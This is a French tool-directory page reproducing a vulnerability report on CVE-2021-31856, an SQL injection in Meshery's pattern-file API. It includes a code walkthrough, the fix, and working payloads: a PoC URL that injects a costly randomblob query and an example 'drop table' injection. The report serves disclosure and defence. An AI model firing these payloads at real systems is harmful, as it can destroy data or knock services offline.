Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/ssst0n3/cve-2021-31856
Analyse des VulnérabilitésAnalyse de CodeExploitation d'Applications WebTests d'IntrusionSécurité des Bases de Données
GitHubssst0n3/cve-2021-31856

CVE-2021-31856

Rapport détaillé CVE-2021-31856 avec PoC et analyse de code pour une vulnérabilité d'injection SQL dans l'API de fichier de pattern de Meshery, permettant l'extraction de données non authentifiée.

Voir le dépôt
il y a 5 ansPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

[Rapport de vulnérabilité] CVE-2021-31856 : une injection SQL dans Meshery

élémentdétailsremarque
projethttps://github.com/layer5io/meshery
date annoncée2021-04-28
CVE-IDCVE-2021-31856https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31856
EDB-ID\
Version vulnérablev0.5.2\
Version corrigéev0.5.3https://github.com/layer5io/meshery/pull/2745
CVSS7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Auteurhttps://github.com/ssst0n3

1. Description

La fonction GetMesheryPatterns() dans meshery/models/meshery_pattern_persister.go présente une vulnérabilité d'injection SQL via le paramètre order de la requête /api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0.

2. PoC

root@kitploit:~
http://<IP>:9081/api/experimental/patternfile?order=id%3Bselect(randomblob(1000000000))&page=0&page_size=0

regarder la vidéo

Votre navigateur ne supporte pas la vidéo HTML5. Voici un lien vers la vidéo à la place.

3. Analyse du code

Le paramètre order dans la fonction GetMesheryPatterns est une instance de chaîne de caractères. Il est directement ajouté à la requête lors de l'utilisation de Gorm, et l'instruction SQL est exécutée par Find().

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

Si le paramètre order provient de l'entrée utilisateur sans aucun filtrage, il existe une vulnérabilité d'injection SQL.

En suivant le processus d'appel, on constate que le paramètre order provient directement de la requête.

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L140

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
	rw http.ResponseWriter,
	r *http.Request,
	prefObj *models.Preference,
	user *models.User,
	provider models.Provider,
) {
	q := r.URL.Query()

	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
	if err != nil {
		http.Error(rw, fmt.Sprintf("failed to fetch the patterns: %s", err), http.StatusInternalServerError)
		return
	}

	rw.Header().Set("Content-Type", "application/json")
	fmt.Fprint(rw, string(resp))
}

Si l'on débogue, on constate que la requête est :

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY <ORDER>

si on définit order=id;drop table meshery_patterns, l'instruction devient

root@kitploit:~
SELECT * FROM `meshery_patterns` ORDER BY id;drop table meshery_patterns

et la table sera supprimée.


La chaîne complète des appels est :

https://github.com/layer5io/meshery/blob/v0.5.2/router/server.go#L127

root@kitploit:~
	gMux.Handle("/api/experimental/patternfile", h.ProviderMiddleware(h.AuthMiddleware(h.SessionInjectorMiddleware(h.PatternFileRequestHandler)))).
		Methods("POST", "GET")

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L93

root@kitploit:~
func (h *Handler) PatternFileRequestHandler(
...
		h.GetMesheryPatternsHandler(rw, r, prefObj, user, provider)
}

https://github.com/layer5io/meshery/blob/v0.5.2/handlers/meshery_pattern_handler.go#L149

root@kitploit:~
func (h *Handler) GetMesheryPatternsHandler(
...
	resp, err := provider.GetMesheryPatterns(r, q.Get("page"), q.Get("page_size"), q.Get("search"), q.Get("order"))
..

https://github.com/layer5io/meshery/blob/v0.5.2/models/default_local_provider.go#L439

root@kitploit:~
func (l *DefaultLocalProvider) GetMesheryPatterns(req *http.Request, page, pageSize, search, order string) ([]byte, error) {
...
	return l.MesheryPatternPersister.GetMesheryPatterns(search, order, pg, pgs)
}

https://github.com/layer5io/meshery/blob/v0.5.2/models/meshery_pattern_persister.go#L35-L44

root@kitploit:~
func (mpp *MesheryPatternPersister) GetMesheryPatterns(search, order string, page, pageSize uint64) ([]byte, error) {
	if order == "" {
		order = "updated_at desc"
	}
        ...
	query := mpp.DB.Order(order)
        ...
	Paginate(uint(page), uint(pageSize))(query).Find(&patterns)
        ...
}

4. Correction

Définir une liste blanche pour le paramètre order au lieu d'utiliser des paramètres provenant de l'entrée utilisateur sans aucun filtrage.

https://github.com/layer5io/meshery/pull/2745

Vous pouvez trouver des références dans la documentation de Gorm : https://gorm.io/docs/security.html

Télécharger l’outil